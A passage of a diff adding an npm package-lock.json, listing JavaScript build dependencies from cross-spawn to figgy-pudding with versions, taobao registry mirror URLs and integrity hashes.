"integrity": "sha1-9zqFudXUHQRVUcF34ogtSshXKKY=", + "dev": true, + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "dependencies": { + "which": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz", + "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + } + } + }, + "crypt": { + "version": "0.0.2", + "resolved": "https://registry.npm.taobao.org/crypt/download/crypt-0.0.2.tgz", + "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=" + }, + "crypto-browserify": { + "version": "3.12.0", + "resolved": "https://registry.npm.taobao.org/crypto-browserify/download/crypto-browserify-3.12.0.tgz", + "integrity": "sha1-OWz58xN/A+S45TLFj2mCVOAPgOw=", + "dev": true, + "requires": { + "browserify-cipher": "^1.0.0", + "browserify-sign": "^4.0.0", + "create-ecdh": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.0", + "diffie-hellman": "^5.0.0", + "inherits": "^2.0.1", + "pbkdf2": "^3.0.3", + "public-encrypt": "^4.0.0", + "randombytes": "^2.0.0", + "randomfill": "^1.0.3" + } + }, + "css-aliases": { + "version": "1.1.10", + "resolved": "https://registry.npm.taobao.org/css-aliases/download/css-aliases-1.1.10.tgz", + "integrity": "sha1-Y1jbMocy0nLfeJGRUwCVrlhsZZ8=", + "dev": true, + "requires": { + "named-js-regexp": "^1.3.2", + "path": "^0.12.7" + } + }, + "css-loader": { + "version": "5.1.1", + "resolved": "https://registry.npm.taobao.org/css-loader/download/css-loader-5.1.1.tgz", + "integrity": "sha1-k2LURKD3wIwUihCVlnFckE4lKHk=", + "dev": true, + "requires": { + "camelcase": "^6.2.0", + "cssesc": "^3.0.0", + "icss-utils": "^5.1.0", + "loader-utils": "^2.0.0", + "postcss": "^8.2.6", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^3.0.0", + "semver": "^7.3.4" + }, + "dependencies": { + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz", + "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz", + "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "semver": { + "version": "7.3.4", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-7.3.4.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.3.4.tgz", + "integrity": "sha1-J6qn0uTKdkUvmNOt0JOnLJQ+3Jc=", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + } + } + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-3.0.0.tgz", + "integrity": "sha1-N3QZGZA7hoVl4cCep0dEXNGJg+4=", + "dev": true + }, + "cyclist": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/cyclist/download/cyclist-1.0.1.tgz", + "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=", + "dev": true + }, + "d": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/d/download/d-1.0.1.tgz", + "integrity": "sha1-hpgJU3LVjb7jRv/Qxwk/mfj561o=", + "dev": true, + "requires": { + "es5-ext": "^0.10.50", + "type": "^1.0.1" + } + }, + "dateformat": { + "version": "4.5.1", + "resolved": "https://registry.npm.taobao.org/dateformat/download/dateformat-4.5.1.tgz", + "integrity": "sha1-wg56nKd9FHkGttwiYai+ClvSFzw=" + }, + "de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/de-indent/download/de-indent-1.0.2.tgz", + "integrity": "sha1-sgOOhG3DO6pXlhKNCAS0VbjB4h0=", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npm.taobao.org/debug/download/debug-4.3.1.tgz?cache=0&sync_timestamp=1607566580543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-4.3.1.tgz", + "integrity": "sha1-8NIpxQXgxtjEmsVT0bE9wYP2su4=", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/decamelize/download/decamelize-1.2.0.tgz?cache=0&sync_timestamp=1610348706789&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdecamelize%2Fdownload%2Fdecamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "deepmerge": { + "version": "1.5.2", + "resolved": "https://registry.npm.taobao.org/deepmerge/download/deepmerge-1.5.2.tgz", + "integrity": "sha1-EEmdhohEza1P7ghC34x/bwyVp1M=" + }, + "default-compare": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/default-compare/download/default-compare-1.0.0.tgz", + "integrity": "sha1-y2ETGESthNhHiPto/QFoHKd4Gi8=", + "dev": true, + "requires": { + "kind-of": "^5.0.2" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-5.1.0.tgz", + "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=", + "dev": true + } + } + }, + "default-resolution": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/default-resolution/download/default-resolution-2.0.0.tgz", + "integrity": "sha1-vLgrqnKtebQmp2cy8aga1t8m1oQ=", + "dev": true + }, + "define-properties": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/define-properties/download/define-properties-1.1.3.tgz", + "integrity": "sha1-z4jabL7ib+bbcJT2HYcMvYTO6fE=", + "dev": true, + "requires": { + "object-keys": "^1.0.12" + } + }, + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz", + "integrity": "sha1-1Flono1lS6d+AqgX+HENcCyxbp0=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "dependencies": { + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz", + "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz", + "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "defined": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/defined/download/defined-1.0.0.tgz", + "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", + "dev": true + }, + "delegate": { + "version": "3.2.0", + "resolved": "https://registry.npm.taobao.org/delegate/download/delegate-3.2.0.tgz", + "integrity": "sha1-tmtxwxWFIuirV0T3INjKDCr1kWY=" + }, + "des.js": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/des.js/download/des.js-1.0.1.tgz", + "integrity": "sha1-U4IULhvcU/hdhtU+X0qn3rkeCEM=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" + } + }, + "detect-file": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/detect-file/download/detect-file-1.0.0.tgz", + "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=", + "dev": true + }, + "detective": { + "version": "4.7.1", + "resolved": "https://registry.npm.taobao.org/detective/download/detective-4.7.1.tgz", + "integrity": "sha1-DspzFDOEQv67bWXaVMELscgrJG4=", + "dev": true, + "requires": { + "acorn": "^5.2.1", + "defined": "^1.0.0" + } + }, + "diffie-hellman": { + "version": "5.0.3", + "resolved": "https://registry.npm.taobao.org/diffie-hellman/download/diffie-hellman-5.0.3.tgz", + "integrity": "sha1-QOjumPVaIUlgcUaSHGPhrl89KHU=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "miller-rabin": "^4.0.0", + "randombytes": "^2.0.0" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "domain-browser": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/domain-browser/download/domain-browser-1.2.0.tgz", + "integrity": "sha1-PTH1AZGmdJ3RN1p/Ui6CPULlTto=", + "dev": true + }, + "duplexify": { + "version": "3.7.1", + "resolved": "https://registry.npm.taobao.org/duplexify/download/duplexify-3.7.1.tgz", + "integrity": "sha1-Kk31MX9sz9kfhtb9JdjYoQO4gwk=", + "dev": true, + "requires": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "each-props": { + "version": "1.3.2", + "resolved": "https://registry.npm.taobao.org/each-props/download/each-props-1.3.2.tgz", + "integrity": "sha1-6kWkFNFt1c+kGbGoFyDVygaJIzM=", + "dev": true, + "requires": { + "is-plain-object": "^2.0.1", + "object.defaults": "^1.1.0" + } + }, + "electron-to-chromium": { + "version": "1.3.684", + "resolved": "https://registry.npm.taobao.org/electron-to-chromium/download/electron-to-chromium-1.3.684.tgz?cache=0&sync_timestamp=1615316677229&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Felectron-to-chromium%2Fdownload%2Felectron-to-chromium-1.3.684.tgz", + "integrity": "sha1-BT+7CkstXAdt+m4djs0GowdaVYo=", + "dev": true + }, + "element-ui": { + "version": "2.15.1", + "resolved": "https://registry.npm.taobao.org/element-ui/download/element-ui-2.15.1.tgz", + "integrity": "sha1-raAKpuMsAndKLndWPdhGaPgTzf8=", + "requires": { + "async-validator": "~1.8.1", + "babel-helper-vue-jsx-merge-props": "^2.0.0", + "deepmerge": "^1.2.0", + "normalize-wheel": "^1.0.1", + "resize-observer-polyfill": "^1.5.0", + "throttle-debounce": "^1.0.1" + } + }, + "elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npm.taobao.org/elliptic/download/elliptic-6.5.4.tgz?cache=0&sync_timestamp=1612290637117&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Felliptic%2Fdownload%2Felliptic-6.5.4.tgz", + "integrity": "sha1-2jfOvTHnmhNn6UG1ku0fvr1Yq7s=", + "dev": true, + "requires": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/emojis-list/download/emojis-list-3.0.0.tgz", + "integrity": "sha1-VXBmIEatKeLpFucariYKvf9Pang=", + "dev": true + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npm.taobao.org/end-of-stream/download/end-of-stream-1.4.4.tgz", + "integrity": "sha1-WuZKX0UFe682JuwU2gyl5LJDHrA=", + "dev": true, + "requires": { + "once": "^1.4.0" + } + }, + "enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npm.taobao.org/enhanced-resolve/download/enhanced-resolve-4.5.0.tgz", + "integrity": "sha1-Lzz9hNvjtIfxjy2y7x4GSlccpew=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "dependencies": { + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.5.0.tgz", + "integrity": "sha1-MkwBKIuIZSlm0WHbd4OHIIRajjw=", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + } + } + }, + "enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npm.taobao.org/enquirer/download/enquirer-2.3.6.tgz", + "integrity": "sha1-Kn/l3WNKHkElqXXsmU/1RW3Dc00=", + "dev": true, + "requires": { + "ansi-colors": "^4.1.1" + }, + "dependencies": { + "ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-4.1.1.tgz", + "integrity": "sha1-y7muJWv3UK8eqzRPIpqif+lLo0g=", + "dev": true + } + } + }, + "envinfo": { + "version": "7.7.4", + "resolved": "https://registry.npm.taobao.org/envinfo/download/envinfo-7.7.4.tgz?cache=0&sync_timestamp=1612196435304&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fenvinfo%2Fdownload%2Fenvinfo-7.7.4.tgz", + "integrity": "sha1-xjEc3Tig6GgIwck0P2Z+QmfEoyA=", + "dev": true + }, + "errno": { + "version": "0.1.8", + "resolved": "https://registry.npm.taobao.org/errno/download/errno-0.1.8.tgz", + "integrity": "sha1-i7Ppx9Rjvkl2/4iPdrSAnrwugR8=", + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npm.taobao.org/error-ex/download/error-ex-1.3.2.tgz", + "integrity": "sha1-tKxAZIEH/c3PriQvQovqihTU8b8=", + "dev": true, + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "es5-ext": { + "version": "0.10.53", + "resolved": "https://registry.npm.taobao.org/es5-ext/download/es5-ext-0.10.53.tgz", + "integrity": "sha1-k8WjrP2+8nUiCtcmRK0C7hg2jeE=", + "dev": true, + "requires": { + "es6-iterator": "~2.0.3", + "es6-symbol": "~3.1.3", + "next-tick": "~1.0.0" + } + }, + "es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/es6-iterator/download/es6-iterator-2.0.3.tgz", + "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npm.taobao.org/es6-symbol/download/es6-symbol-3.1.3.tgz", + "integrity": "sha1-utXTwbzawoJp9MszHkMceKxwXRg=", + "dev": true, + "requires": { + "d": "^1.0.1", + "ext": "^1.1.2" + } + }, + "es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/es6-weak-map/download/es6-weak-map-2.0.3.tgz", + "integrity": "sha1-ttofFswswNm+Q+a9v8Xn383zHVM=", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/escalade/download/escalade-3.1.1.tgz?cache=0&sync_timestamp=1602567230854&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescalade%2Fdownload%2Fescalade-3.1.1.tgz", + "integrity": "sha1-2M/ccACWXFoBdLSoLqpcBVJ0LkA=", + "dev": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "dev": true + }, + "eslint-scope": { + "version": "4.0.3", + "resolved": "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-4.0.3.tgz?cache=0&sync_timestamp=1600070417656&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feslint-scope%2Fdownload%2Feslint-scope-4.0.3.tgz", + "integrity": "sha1-ygODMxD2iJoyZHgaqC5j65z+eEg=", + "dev": true, + "requires": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + } + }, + "esprima-fb": { + "version": "15001.1.0-dev-harmony-fb", + "resolved": "https://registry.npm.taobao.org/esprima-fb/download/esprima-fb-15001.1.0-dev-harmony-fb.tgz", + "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE=", + "dev": true + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npm.taobao.org/esrecurse/download/esrecurse-4.3.0.tgz?cache=0&sync_timestamp=1598898247102&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fesrecurse%2Fdownload%2Fesrecurse-4.3.0.tgz", + "integrity": "sha1-eteWTWeauyi+5yzsY3WLHF0smSE=", + "dev": true, + "requires": { + "estraverse": "^5.2.0" + }, + "dependencies": { + "estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz?cache=0&sync_timestamp=1596641261331&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Festraverse%2Fdownload%2Festraverse-5.2.0.tgz", + "integrity": "sha1-MH30JUfmzHMk088DwVXVzbjFOIA=", + "dev": true + } + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-4.3.0.tgz?cache=0&sync_timestamp=1596641261331&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Festraverse%2Fdownload%2Festraverse-4.3.0.tgz", + "integrity": "sha1-OYrT88WiSUi+dyXoPRGn3ijNvR0=", + "dev": true + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/esutils/download/esutils-2.0.3.tgz", + "integrity": "sha1-dNLrTeC42hKTcRkQ1Qd1ubcQ72Q=", + "dev": true + }, + "events": { + "version": "3.3.0", + "resolved": "https://registry.npm.taobao.org/events/download/events-3.3.0.tgz?cache=0&sync_timestamp=1614444838320&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fevents%2Fdownload%2Fevents-3.3.0.tgz", + "integrity": "sha1-Mala0Kkk4tLEGagTrrLE6HjqdAA=", + "dev": true + }, + "evp_bytestokey": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/evp_bytestokey/download/evp_bytestokey-1.0.3.tgz", + "integrity": "sha1-f8vbGY3HGVlDLv4ThCaE4FJaywI=", + "dev": true, + "requires": { + "md5.js": "^1.3.4", + "safe-buffer": "^5.1.1" + } + }, + "execa": { + "version": "5.0.0", + "resolved": "https://registry.npm.taobao.org/execa/download/execa-5.0.0.tgz?cache=0&sync_timestamp=1606970975645&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexeca%2Fdownload%2Fexeca-5.0.0.tgz", + "integrity": "sha1-QCmwAHmYqEH70QMuX03oajweM3Y=", + "dev": true, + "requires": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + } + }, + "exit-on-epipe": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/exit-on-epipe/download/exit-on-epipe-1.0.1.tgz", + "integrity": "sha1-C92S6H1ShdJn2qgXHQ6wYVlolpI=" + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npm.taobao.org/expand-brackets/download/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566580543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz", + "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433905701&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } + } + }, + "expand-tilde": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/expand-tilde/download/expand-tilde-2.0.2.tgz", + "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1" + } + }, + "expose-loader": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/expose-loader/download/expose-loader-1.0.3.tgz", + "integrity": "sha1-VobTt4ysiDHErxHD3DYVY964qcA=", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz", + "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz", + "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "ext": { + "version": "1.4.0", + "resolved": "https://registry.npm.taobao.org/ext/download/ext-1.4.0.tgz", + "integrity": "sha1-ia56BxWPedNVF4gpBDJAd+Q3kkQ=", + "dev": true, + "requires": { + "type": "^2.0.0" + }, + "dependencies": { + "type": { + "version": "2.5.0", + "resolved": "https://registry.npm.taobao.org/type/download/type-2.5.0.tgz", + "integrity": "sha1-Ci54wud5B7JSq+XymMGwHGPw2z0=", + "dev": true + } + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npm.taobao.org/extend/download/extend-3.0.2.tgz", + "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=", + "dev": true + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-3.0.2.tgz", + "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz", + "integrity": "sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npm.taobao.org/extglob/download/extglob-2.0.4.tgz", + "integrity": "sha1-rQD+TcYSqSMuhxhxHcXLWrAoVUM=", + "dev": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz", + "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz", + "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "extract-text-webpack-plugin": { + "version": "4.0.0-beta.0", + "resolved": "https://registry.npm.taobao.org/extract-text-webpack-plugin/download/extract-text-webpack-plugin-4.0.0-beta.0.tgz", + "integrity": "sha1-9zYdf/QwtClh+NEyG6jBdXtdTEI=", + "dev": true, + "requires": { + "async": "^2.4.1", + "loader-utils": "^1.1.0", + "schema-utils": "^0.4.5", + "webpack-sources": "^1.1.0" + }, + "dependencies": { + "schema-utils": { + "version": "0.4.7", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-0.4.7.tgz", + "integrity": "sha1-unT1l9K+LqiAExdG7hfQoJPGgYc=", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" + } + } + } + }, + "fancy-log": { + "version": "1.3.3", + "resolved": "https://registry.npm.taobao.org/fancy-log/download/fancy-log-1.3.3.tgz", + "integrity": "sha1-28GRVPVYaQFQojlToK29A1vkX8c=", + "dev": true, + "requires": { + "ansi-gray": "^0.1.1", + "color-support": "^1.1.3", + "parse-node-version": "^1.0.0", + "time-stamp": "^1.0.0" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-3.1.3.tgz?cache=0&sync_timestamp=1591599651635&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffast-deep-equal%2Fdownload%2Ffast-deep-equal-3.1.3.tgz", + "integrity": "sha1-On1WtVnWy8PrUSMlJE5hmmXGxSU=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/fast-json-stable-stringify/download/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha1-h0v2nG9ATCtdmcSBNBOZ/VWJJjM=", + "dev": true + }, + "fast-levenshtein": { + "version": "1.1.4", + "resolved": "https://registry.npm.taobao.org/fast-levenshtein/download/fast-levenshtein-1.1.4.tgz", + "integrity": "sha1-5qdUzI8V5YmHqpy9J69m/W9OWvk=", + "dev": true + }, + "fastest-levenshtein": { + "version": "1.0.12", + "resolved": "https://registry.npm.taobao.org/fastest-levenshtein/download/fastest-levenshtein-1.0.12.tgz", + "integrity": "sha1-mZD306iMxan/0fF0V0UlFwDUl+I=", + "dev": true + }, + "fflate": { + "version": "0.3.11", + "resolved": "https://registry.npm.taobao.org/fflate/download/fflate-0.3.11.tgz?cache=0&sync_timestamp=1614600218416&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffflate%2Fdownload%2Ffflate-0.3.11.tgz", + "integrity": "sha1-LEQNcYD964GeZImNiFivMnsEKl0=" + }, + "figgy-pudding": { + "version": "3.5.2", + "resolved": "https://registry.npm.taobao.org/figgy-pudding/download/figgy-pudding-3.5.2.tgz", + "integrity": 